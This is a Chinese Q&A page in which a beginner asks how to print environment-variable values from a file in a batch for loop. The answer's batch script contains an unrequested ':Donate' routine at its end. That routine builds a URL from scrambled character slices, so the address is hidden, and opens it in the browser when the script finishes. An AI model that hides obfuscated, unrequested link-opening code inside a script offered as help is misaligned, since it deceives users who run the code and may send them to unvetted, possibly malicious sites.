如何在批处理 for循环中打印变量值 30
菜鸟一枚,有个文件file.txt,我想遍历每一行,如果是以%开头,%结尾的,我就打印这个变量的值。内容如下:%ALLUSERSPROFILE%%APPDATA%aaa%...
菜鸟一枚,有个文件 file.txt,我想遍历每一行,如果是以%开头,%结尾的,我就打印这个变量的值。
内容如下:
%ALLUSERSPROFILE%
%APPDATA%
aaa
%CD%
%CMDCMDLINE%
%aaa
%CMDEXTVERSION%
%USERNAME%
期望输出:
%ALLUSERSPROFILE% ---> c:\programdata
但是跳过aaa %aaa 这样不存在的路径 展开
内容如下:
%ALLUSERSPROFILE%
%APPDATA%
aaa
%CD%
%CMDCMDLINE%
%aaa
%CMDEXTVERSION%
%USERNAME%
期望输出:
%ALLUSERSPROFILE% ---> c:\programdata
但是跳过aaa %aaa 这样不存在的路径 展开
1个回答
展开全部
@echo off & title 读取正确的变量 By 依梦琴瑶
cd /d "%~dp0"
for /f "usebackq delims=" %%a in ("file.txt") do (
call :Show "%%%%~a%%" "%%~a"
)
pause
call :Donate
exit
:Donate
set "S0=fPdv"
set "S1=.:ailnhpst/"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit
:Show
set "Var=" & set "Var=%~1"
if not defined Var goto :eof
if "%Var:~0,1%%Var:~-1,1%"=="%%%%" (
echo %~1 ---^> %~2
)
goto :eof
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询